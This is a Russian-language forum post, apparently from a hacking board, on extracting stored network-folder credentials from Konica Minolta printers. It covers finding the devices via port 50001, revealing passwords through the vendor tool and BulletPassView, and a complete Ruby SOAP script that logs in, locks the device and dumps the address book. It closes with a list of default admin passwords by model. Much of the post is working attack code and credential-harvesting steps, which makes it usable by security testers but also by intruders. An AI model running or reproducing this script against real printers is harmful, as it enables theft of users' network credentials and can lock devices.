 |

27.02.2026, 16:40
|
|
Новичок
Регистрация: 04.02.2026
Сообщений: 8
С нами:
145717
Репутация:
0
|
|

В адресной книге МФУ Konica Minolta (стоит отметить, что быстро обнаружить принтеры данной марки можно с помощью поиска на сетевых устройствах открытого порта 50001), имеющих возможность сохранять сканированные документы в сетевые каталоги, сохраняются учетные данные для прохождения процедуры аутентификации. Эти данные хранятся в зашифрованном виде, через веб-форму невозможно узнать пароль, только логин. Однако, для ряда моделей есть скрипт в Metasploit.
Пример использования данного скрипта:

Опытным путем получено следующее:- Данный скрипт работает через протокол SOAP по порту 50001. Сначала отправляет запрос на авторизацию с учетными данными, в ответе получает AuthKey. С полученным AuthKey запрашивает адресную книгу, которую получает в формате XML в открытом виде. Затем отправляет запрос на логаут.
- На ряде МФУ, например, C3110, скрипт не работает.
- Существует проприетарное ПО KONICA MINOLTA Data Administrator, позволяющее управлять принтерами данной марки.
Кроме этого, через данное ПО присутствует возможность получения аутентификационных данных.
- Извлечение паролей возможно в случае, если есть аутентификационные данные для консоли управления принтером.
Извлечение паролей с помощью KONICA MINOLTA Data Administrator
Запускаем ПО

Нажимаем кнопку "Registration of Device"

Нажимаем клавишу "Search and Register..."

Делаем двойной клик по нужному принтеру

Вводим пароль администратора принтера и нажимаем "ОК"

Закрываем окно с успешной регистрацией устройства, видим, что в списке устройств появилось новое.

Делаем двойной клик по устройству

Нажимаем кнопку Import и соглашаемся с всплывающим окном

После недолгого процесса открывается окно с инфо об устройстве

В левой части выбираем "Address Settings", в открытой вкладке "Address book"

Открывается список сохраненных логинов/паролей, по двойному клику на запись открывается полная информация

Пароль скрыт с использованием точек, но с помощью BulletPassView получим его в открытом виде

Данный способ является универсальным для всех устройств фирмы Konica Minolta.
Автоматизация для остальных устройств
Исследовав способ взаимодействия (трафик отправляется в открытом виде без использования шифрования) данного ПО с принтерами C3110 узнали следующее:- В отличии от других принтеров, для выгрузки паролей нужно пять, а не три шага. А именно:
- Запрос на аутентификацию с получением AuthKey
- Запрос на блокировку устройства с получением LockKey
- Запрос на получение адресной книги (с использованием AuthKey и LockKey)
- Запрос на разблокировку устройства
- Запрос на логаут
Стоит отметить, что при слишком быстром отправлении данных запросов устройство не обрабатывает и пропускает некоторые из них. В результате получим заблокированное устройство, разблокировать которое можно только перезагрузкой.
- В результате имеем не XML, а закодированную в Base64 CSV.
Для автоматизации был модернизирован модуль для Metasploit, указанный выше. Используется Ruby с библиотеками 'net/http',
'uri', 'nokogiri', 'base64'.
В теле скрипта прописаны аутентификационные данные для принтера, а также указан IP-адрес принтера. В результате скрипт выдает CSV в чистом виде.

Скрипт представлен в приложении.
Код:
Код:
require 'net/http'
require 'uri'
require 'nokogiri'
require "base64"
def generate_authkey_request_xlm(major, minor)
user ='Admin'
passwd = '12345678'
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('UserType') { xml.text "#{user}" }
xml.send('Password') { xml.text "#{passwd}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_logout_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogout', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_lock_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqEnterDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockType') { xml.text 'DownloadLock' }
xml.send('PackageEntryFlg') { xml.text 'Package' }
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
def generate_unlock_request_xlm(major, minor, authkey, lockkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqExitDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockKey') { xml.text "#{lockkey}" }
}
}
}
end
end
def generate_pwd_request_xlm(major, minor, authkey, lockkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
}
}
xml.send('SOAP-ENV:Body'){
xml.send('AppReqSyncGetPackageData', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('LockKey') { xml.text "#{lockkey}" }
xml.send('RequestItem') { xml.text 'Abbr' }
xml.send('ObtainCondition'){
xml.send('Type') { xml.text 'OffsetList' }
xml.send('OffsetRange'){
xml.send('Start') { xml.text '1' }
xml.send('Length') { xml.text '100' }
}
}
xml.send('BackUp') { xml.text 'On' }
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
xml.send('FileFormat') { xml.text 'Csv' }
}
}
}
end
end
def version(ip)
response = send_request(ip, '','""')
if response.nil?
print_error("No response from device")
return
else
xml0_body = ::Nokogiri::XML(response.body)
major_parse = xml0_body.xpath('//Major').text
minor_parse = xml0_body.xpath('//Minor').text
major = ("#{major_parse}")
minor = ("#{minor_parse}")
sleep(1)
login(ip, major, minor)
end
rescue
puts("Version check Connection failed")
end
def login(ip, major, minor)
authreq_xml = generate_authkey_request_xlm(major, minor)
begin
response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogin")
if response.nil?
print_error("No response from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
authkey_parse = xml1_body.xpath('//AuthKey').text
authkey = ("#{authkey_parse}")
sleep(1)
lock(ip, major, minor, authkey)
logout(ip, major, minor, authkey)
end
rescue
puts("Login Connection failed")
end
end
def lock(ip, major, minor, authkey)
lockreq_xml = generate_lock_request_xlm(major, minor, authkey)
begin
response = send_request(ip, lockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqEnterDeviceLock")
if response.nil?
print_error("No response from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
lockkey_parse = xml1_body.xpath('//LockKey').text
lockkey = ("#{lockkey_parse}")
sleep(1)
extract(ip, major, minor, authkey, lockkey)
unlock(ip, major, minor, authkey, lockkey)
end
rescue
puts("Lock failed")
end
end
def unlock(ip, major, minor, authkey, lockkey)
unlockreq_xml = generate_unlock_request_xlm(major, minor, authkey, lockkey)
begin
response = send_request(ip, unlockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqExitDeviceLock")
sleep(1)
if response.nil?
print_error("No response from device")
return
end
rescue
puts("unlock failed")
end
end
def logout(ip, major, minor, authkey)
authreq_xml = generate_logout_request_xlm(major, minor, authkey)
begin
response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogout")
if response.nil?
print_error("No response from device")
return
end
rescue
puts("logout failed")
end
end
def extract(ip, major, minor, authkey, lockkey)
if (authkey != '')
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey, lockkey)
begin
response = send_request(ip, smbreq_xml.to_xml,"http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqSyncGetPackageData")
sleep(1)
if response.nil?
print_error("No response from device")
return
else
pattern = /Content-Transfer-Encoding: base64(.*?)--MIME_boundary--/m
csv_data = nil
if match = response.body.match(pattern)
csv_data = match[1].strip
end
if csv_data.nil?
puts "CSV данные не найдены."
else
decoded_csv = Base64.decode64(csv_data)
puts "Decoded CSV:"
puts decoded_csv
end
end
end
end
end
def send_request(ip, data, action)
uri = URI.parse("http://#{ip}:50001/OpenAPI")
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Post.new(uri.path)
request.body = data # Тело запроса
request['Content-Type'] = 'text/xml'
request['SOAPAction'] = "#{action}"
return http.request(request)
end
version('172.16.1.121')
Пароли к устройствам Konica Minolta по умолчанию
ModelAdmin PassPSWC Admin Login/Pass
Model: 20/20p
Admin Pass: admin/access
PSWC: 25e(none)
Model: 36/42
Admin Pass: 12345678
PSWC: 12345678
Model: 40p
Admin Pass: administrator
PSWC: (none)
Model: 4050/4750
Admin Pass: 12345678
PSWC: 12345678
Model: 4052/4752
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: c20
Admin Pass: 000000
PSWC: administrator
Model: c20p
Admin Pass: administrator
PSWC: (none)
Model: c25
Admin Pass: 000000
PSWC: administrator
Model: c35
Admin Pass: 12345678
PSWC: 12345678
Model: c35p
Admin Pass: administrator
PSWC: (none)
Model: C3100p
Admin Pass: 12345678
PSWC: 12345678
Model: C3110
Admin Pass: 12345678
PSWC: 12345678
Model: c3350/c3850/c3850FS
Admin Pass: 12345678
PSWC: 12345678
Model: c3351/c3851/c3851FS
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: 162/163/165/185/210/211/215/226/266/306/225i
Admin Pass: 000000
PSWC: sysadm
Model: c250/c252/c352/c450/c203/c253/c353/c451/c650/c220/c280/c360
Admin Pass: 12345678
PSWC: 12345678
Model: c452/c552/c652/c652DS/420/500/361/421/501/223/283/363/423/552/652
Admin Pass: (none)
PSWC: (none)
Model: c224/c224e/c284/c284e/c364/c364e/c454/c454e/c554
Admin Pass: 1234567812345678
PSWC: 1234567812345678
Model: c554e/c654/c654e/c754/c754e/654/754/224e/284e/364e/454e/554e/
227/287/367/308/308e/368/368e/458/458e/558/558e/658e/758/808/958/
C227/C287/C258/C308/C368/C458/C558/C659/C759
Admin Pass: (none)
PSWC: (none)
Model: 4050i/4750i/300i/360i/450i/550i/650i/750i/850i/950i/C3300i/
C4000i/C3320i/C3350i/C4050i/C257i/C250i/C300i/C360i/C450i/C550i/
C650i/C750i
Admin Pass: 1234567812345678
PSWC: 1234567812345678
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|